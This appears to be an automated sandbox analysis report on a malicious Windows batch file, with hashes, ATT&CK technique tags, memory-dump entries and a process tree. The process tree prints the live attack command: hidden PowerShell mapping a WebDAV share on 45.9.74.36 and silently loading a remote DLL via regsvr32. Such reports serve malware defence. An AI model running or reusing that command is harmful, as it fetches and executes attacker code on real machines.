dbdebd5b6d49a9ce8ccec212165f819c370a66d10225ed782e618d32ee22c9c9

Analysis

max time kernel
100s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 07:35

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General

Target

195226085218956093.bat
Size

9KB
MD5

4291af4677751528459624bce8294f79
SHA1

ecc070105663c230af1739dca5e67bcd53181b30
SHA256

dbdebd5b6d49a9ce8ccec212165f819c370a66d10225ed782e618d32ee22c9c9
SHA512

d71b4c0a974baf0997a5618faecad5d7432def8dfafadf13905b551ec47eb550a6a26d86dee8b910d1adbea1248d2b8efa446ea6436dff22a48d3d265c2a03b2
SSDEEP

192:xFpVAxQKUlM5RtZxcwP9Pb/+0J07i+6RAC1T8fj+D6ojKe+:XY423tZxcwP9zGCKrfCOot+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2836	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2820	2468	cmd.exe	30
PID 2468 wrote to memory of 2820	2468	cmd.exe	30
PID 2468 wrote to memory of 2820	2468	cmd.exe	30
PID 2468 wrote to memory of 2836	2468	cmd.exe	31
PID 2468 wrote to memory of 2836	2468	cmd.exe	31
PID 2468 wrote to memory of 2836	2468	cmd.exe	31
PID 2836 wrote to memory of 2868	2836	powershell.exe	33
PID 2836 wrote to memory of 2868	2836	powershell.exe	33
PID 2836 wrote to memory of 2868	2836	powershell.exe	33
PID 2836 wrote to memory of 2120	2836	powershell.exe	34
PID 2836 wrote to memory of 2120	2836	powershell.exe	34
PID 2836 wrote to memory of 2120	2836	powershell.exe	34
PID 2836 wrote to memory of 2120	2836	powershell.exe	34
PID 2836 wrote to memory of 2120	2836	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\195226085218956093.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1789667674962.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2868
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1789667674962.dll
    3⤵
    PID:2120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2468-17-0x0000000001FD0000-0x00000000020D0000-memory.dmp

Filesize
1024KB

Download
memory/2468-16-0x0000000001FD0000-0x00000000020D0000-memory.dmp

Filesize
1024KB

Download
memory/2836-22-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2836-23-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download